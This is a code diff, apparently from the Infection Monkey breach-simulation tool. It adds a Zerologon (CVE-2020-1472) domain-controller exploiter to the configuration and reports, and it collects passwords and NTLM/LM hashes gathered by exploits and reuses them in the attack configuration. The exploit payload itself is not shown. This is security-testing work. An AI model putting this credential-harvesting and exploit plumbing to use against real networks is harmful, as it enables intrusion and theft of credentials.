def get_captured_stdout_output(self) -> str:
|
||||
self._new_stdout.seek(0)
|
||||
output = self._new_stdout.read()
|
||||
return output
|
||||
|
||||
def __exit__(self, _, __, ___) -> None:
|
||||
sys.stdout = self._orig_stdout
|
|
@ -12,9 +12,14 @@ class T1003(AttackTechnique):
|
|||
scanned_msg = ""
|
||||
used_msg = "Monkey successfully obtained some credentials from systems on the network."
|
||||
|
||||
query = {'telem_category': 'system_info', '$and': [{'data.credentials': {'$exists': True}},
|
||||
# $gt: {} checks if field is not an empty object
|
||||
{'data.credentials': {'$gt': {}}}]}
|
||||
query = {'$or': [
|
||||
{'telem_category': 'system_info',
|
||||
'$and': [{'data.credentials': {'$exists': True}},
|
||||
{'data.credentials': {'$gt': {}}}]}, # $gt: {} checks if field is not an empty object
|
||||
{'telem_category': 'exploit',
|
||||
'$and': [{'data.info.credentials': {'$exists': True}},
|
||||
{'data.info.credentials': {'$gt': {}}}]}
|
||||
]}
|
||||
|
||||
@staticmethod
|
||||
def get_report_data():
|
||||
|
|
|
@ -148,6 +148,20 @@ EXPLOITER_CLASSES = {
|
|||
"info": "Exploits a remote command execution vulnerability in a Drupal server,"
|
||||
"for which certain modules (such as RESTful Web Services) are enabled.",
|
||||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"ZerologonExploiter"
|
||||
],
|
||||
"title": "Zerologon Exploiter",
|
||||
"safe": False,
|
||||
"info": "Exploits a privilege escalation vulnerability (CVE-2020-1472) in a Windows "
|
||||
"server domain controller by using the Netlogon Remote Protocol (MS-NRPC). "
|
||||
"This exploiter changes the password of a Windows server domain controller "
|
||||
"account and could prevent the victim domain controller from communicating "
|
||||
"with other domain controllers.",
|
||||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
|
@ -71,16 +71,6 @@ FINGER_CLASSES = {
|
|||
"safe": True,
|
||||
"info": "Checks if ElasticSearch is running and attempts to find it's version.",
|
||||
"attack_techniques": ["T1210"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"WindowsServerFinger"
|
||||
],
|
||||
"title": "WindowsServerFinger",
|
||||
"safe": True,
|
||||
"info": "Checks if server is a Windows Server and tests if it is vulnerable to Zerologon.",
|
||||
"attack_techniques": ["T1210"]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
|
@ -239,8 +239,7 @@ INTERNAL = {
|
|||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger",
|
||||
"WindowsServerFinger"
|
||||
"ElasticFinger"
|
||||
]
|
||||
}
|
||||
}
|
||||
|
|
|
@ -44,7 +44,8 @@ class ReportService:
|
|||
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
|
||||
'MSSQLExploiter': 'MSSQL Exploiter',
|
||||
'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter',
|
||||
'DrupalExploiter': 'Drupal Server Exploiter'
|
||||
'DrupalExploiter': 'Drupal Server Exploiter',
|
||||
'ZerologonExploiter': 'Windows Server Zerologon Exploiter'
|
||||
}
|
||||
|
||||
class ISSUES_DICT(Enum):
|
||||
|
@ -63,6 +64,7 @@ class ReportService:
|
|||
MSSQL = 12
|
||||
VSFTPD = 13
|
||||
DRUPAL = 14
|
||||
ZEROLOGON = 15
|
||||
|
||||
class WARNINGS_DICT(Enum):
|
||||
CROSS_SEGMENT = 0
|
||||
|
@ -178,32 +180,57 @@ class ReportService:
|
|||
|
||||
@staticmethod
|
||||
def get_stolen_creds():
|
||||
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
|
||||
creds = []
|
||||
for telem in mongo.db.telemetry.find(
|
||||
{'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
|
||||
{'data.credentials': 1, 'monkey_guid': 1}
|
||||
):
|
||||
monkey_creds = telem['data']['credentials']
|
||||
if len(monkey_creds) == 0:
|
||||
continue
|
||||
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||
for user in monkey_creds:
|
||||
for pass_type in PASS_TYPE_DICT:
|
||||
if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]:
|
||||
continue
|
||||
username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user
|
||||
cred_row = \
|
||||
{
|
||||
'username': username,
|
||||
'type': PASS_TYPE_DICT[pass_type],
|
||||
'origin': origin
|
||||
}
|
||||
if cred_row not in creds:
|
||||
creds.append(cred_row)
|
||||
|
||||
stolen_system_info_creds = ReportService._get_credentials_from_system_info_telems()
|
||||
creds.extend(stolen_system_info_creds)
|
||||
|
||||
stolen_exploit_creds = ReportService._get_credentials_from_exploit_telems()
|
||||
creds.extend(stolen_exploit_creds)
|
||||
|
||||
logger.info('Stolen creds generated for reporting')
|
||||
return creds
|
||||
|
||||
@staticmethod
|
||||
def _get_credentials_from_system_info_telems():
|
||||
formatted_creds = []
|
||||
for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
|
||||
{'data.credentials': 1, 'monkey_guid': 1}):
|
||||
creds = telem['data']['credentials']
|
||||
formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds))
|
||||
return formatted_creds
|
||||
|
||||
@staticmethod
|
||||
def _get_credentials_from_exploit_telems():
|
||||
formatted_creds = []
|
||||
for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}},
|
||||
{'data.info.credentials': 1, 'monkey_guid': 1}):
|
||||
creds = telem['data']['info']['credentials']
|
||||
formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds))
|
||||
return formatted_creds
|
||||
|
||||
@staticmethod
|
||||
def _format_creds_for_reporting(telem, monkey_creds):
|
||||
creds = []
|
||||
CRED_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
|
||||
if len(monkey_creds) == 0:
|
||||
return []
|
||||
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||
for user in monkey_creds:
|
||||
for cred_type in CRED_TYPE_DICT:
|
||||
if cred_type not in monkey_creds[user] or not monkey_creds[user][cred_type]:
|
||||
continue
|
||||
username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user
|
||||
cred_row = \
|
||||
{
|
||||
'username': username,
|
||||
'type': CRED_TYPE_DICT[cred_type],
|
||||
'origin': origin
|
||||
}
|
||||
if cred_row not in creds:
|
||||
creds.append(cred_row)
|
||||
return creds
|
||||
|
||||
@staticmethod
|
||||
def get_ssh_keys():
|
||||
"""
|
||||
|
@ -363,6 +390,12 @@ class ReportService:
|
|||
processed_exploit['type'] = 'drupal'
|
||||
return processed_exploit
|
||||
|
||||
@staticmethod
|
||||
def process_zerologon_exploit(exploit):
|
||||
processed_exploit = ReportService.process_general_exploit(exploit)
|
||||
processed_exploit['type'] = 'zerologon'
|
||||
return processed_exploit
|
||||
|
||||
@staticmethod
|
||||
def process_exploit(exploit):
|
||||
exploiter_type = exploit['data']['exploiter']
|
||||
|
@ -379,7 +412,8 @@ class ReportService:
|
|||
'HadoopExploiter': ReportService.process_hadoop_exploit,
|
||||
'MSSQLExploiter': ReportService.process_mssql_exploit,
|
||||
'VSFTPDExploiter': ReportService.process_vsftpd_exploit,
|
||||
'DrupalExploiter': ReportService.process_drupal_exploit
|
||||
'DrupalExploiter': ReportService.process_drupal_exploit,
|
||||
'ZerologonExploiter': ReportService.process_zerologon_exploit
|
||||
}
|
||||
|
||||
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
||||
|
@ -678,6 +712,8 @@ class ReportService:
|
|||
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
|
||||
elif issue['type'] == 'drupal':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True
|
||||
elif issue['type'] == 'zerologon':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON.value] = True
|
||||
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
||||
issue['username'] in config_users or issue['type'] == 'ssh':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
||||
|
|
|
@ -4,6 +4,7 @@ import dateutil
|
|||
|
||||
from monkey_island.cc.server_utils.encryptor import encryptor
|
||||
from monkey_island.cc.models import Monkey
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.edge.displayed_edge import EdgeService
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry
|
||||
|
@ -15,6 +16,7 @@ def process_exploit_telemetry(telemetry_json):
|
|||
edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
||||
update_network_with_exploit(edge, telemetry_json)
|
||||
update_node_credentials_from_successful_attempts(edge, telemetry_json)
|
||||
add_exploit_extracted_creds_to_config(telemetry_json)
|
||||
|
||||
check_machine_exploited(
|
||||
current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']),
|
||||
|
@ -24,6 +26,19 @@ def process_exploit_telemetry(telemetry_json):
|
|||
timestamp=telemetry_json['timestamp'])
|
||||
|
||||
|
||||
def add_exploit_extracted_creds_to_config(telemetry_json):
|
||||
if 'credentials' in telemetry_json['data']['info']:
|
||||
creds = telemetry_json['data']['info']['credentials']
|
||||
for user in creds:
|
||||
ConfigService.creds_add_username(creds[user]['username'])
|
||||
if 'password' in creds[user] and creds[user]['password']:
|
||||
ConfigService.creds_add_password(creds[user]['password'])
|
||||
if 'lm_hash' in creds[user] and creds[user]['lm_hash']:
|
||||
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
|
||||
if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']:
|
||||
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
||||
|
||||
|
||||
def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json):
|
||||
for attempt in telemetry_json['data']['attempts']:
|
||||
if attempt['result']:
|
||||
|
|
Loading…
Reference in New Issue